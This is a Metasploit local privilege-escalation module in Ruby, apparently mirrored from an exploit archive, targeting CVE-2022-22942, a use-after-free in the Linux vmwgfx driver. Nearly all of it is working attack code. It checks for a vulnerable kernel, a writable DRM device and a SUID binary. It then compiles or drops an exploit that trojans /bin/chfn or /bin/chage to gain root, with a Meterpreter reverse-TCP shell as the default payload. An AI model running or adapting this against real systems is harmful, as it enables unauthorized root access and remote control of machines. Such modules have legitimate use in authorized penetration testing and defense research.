Share
## https://sploitus.com/exploit?id=PACKETSTORM:170833
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::Linux::Compile  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc',  
'Description' => %q{  
If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to  
recover by deallocating the (already populated) file descriptor. This is  
wrong, as the fd gets released via put_unused_fd() which shouldn't be used,  
as the fd table slot was already populated via the previous call to  
fd_install(). This leaves userland with a valid fd table entry pointing to  
a free'd 'file' object.  
  
We use this bug to overwrite a SUID binary with our payload and gain root.  
Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.  
  
Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Mathias Krause' # original PoC, analysis  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' => [  
[ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],  
[ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],  
[ 'CVE', '2022-22942' ]  
],  
'DisclosureDate' => '2022-01-28',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'PrependFork' => true  
},  
'Notes' => {  
'Stability' => [CRASH_OS_DOWN],  
'Reliability' => [REPEATABLE_SESSION],  
# seeing "BUG: Bad page cache in process <process> pfn:<5 characters>" on console  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def check  
# Check the kernel version to see if its in a vulnerable range  
release = kernel_release  
unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') &&  
Rex::Version.new(release) < Rex::Version.new('5.17-rc1')  
return CheckCode::Safe("Kernel version #{release} is not vulnerable")  
end  
  
vprint_good "Kernel version #{release} appears to be vulnerable"  
  
@driver = nil  
  
if writable?('/dev/dri/card0') # ubuntu, RHEL  
@driver = '/dev/dri/card0'  
elsif writable?('/dev/dri/renderD128') # debian  
@driver = '/dev/dri/renderD128'  
else  
return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128')  
end  
vprint_good("#{@driver} found writable")  
  
@suid_target = nil  
if setuid?('/bin/chfn') # ubuntu  
@suid_target = '/bin/chfn'  
elsif writable?('/bin/chage') # RHEL/Centos  
@suid_target = '/bin/chage'  
else  
return CheckCode::Safe('/bin/chfn isn\'t SUID or /bin/chage not writable')  
end  
vprint_good("#{@suid_target} suid binary found")  
  
if kernel_modules&.include?('vmwgfx')  
return CheckCode::Appears('vmwgfx installed')  
end  
  
CheckCode::Safe('Vulnerable driver (vmwgfx) not found')  
end  
  
def exploit  
# Check if we're already root  
if is_root? && !datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'  
end  
  
# Make sure we can write our exploit and payload to the local system  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# backup the suid binary before we overwrite it  
@suid_backup = read_file(@suid_target)  
path = store_loot(  
@suid_target,  
'application/octet-stream',  
rhost,  
@suid_backup,  
@suid_target  
)  
print_good("Original #{@suid_target} backed up to #{path}")  
executable_name = ".#{rand_text_alphanumeric(5..10)}"  
executable_path = "#{base_dir}/#{executable_name}"  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
  
c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')  
c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called  
c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target  
c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload  
  
upload_and_compile executable_path, strip_comments(c_code)  
register_files_for_cleanup(executable_path)  
else  
unless @suid_target == '/bin/chfn'  
fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems')  
end  
vprint_status 'Dropping pre-compiled exploit on system...'  
payload_path = '/tmp/.aYd3GAMlK'  
upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled')  
end  
  
# Upload payload executable  
print_status("Uploading payload to #{payload_path}")  
upload_and_chmodx payload_path, generate_payload_exe  
register_files_for_cleanup(generate_payload_exe)  
  
print_status 'Launching exploit...'  
output = cmd_exec executable_path, nil, 30  
output.each_line { |line| vprint_status line.chomp }  
end  
  
def cleanup  
if @suid_backup.nil?  
print_bad("MANUAL replacement of trojaned #{@suid_target} is required.")  
else  
print_status("Replacing trojaned #{@suid_target} with original")  
write_file(@suid_target, @suid_backup)  
end  
super  
end  
end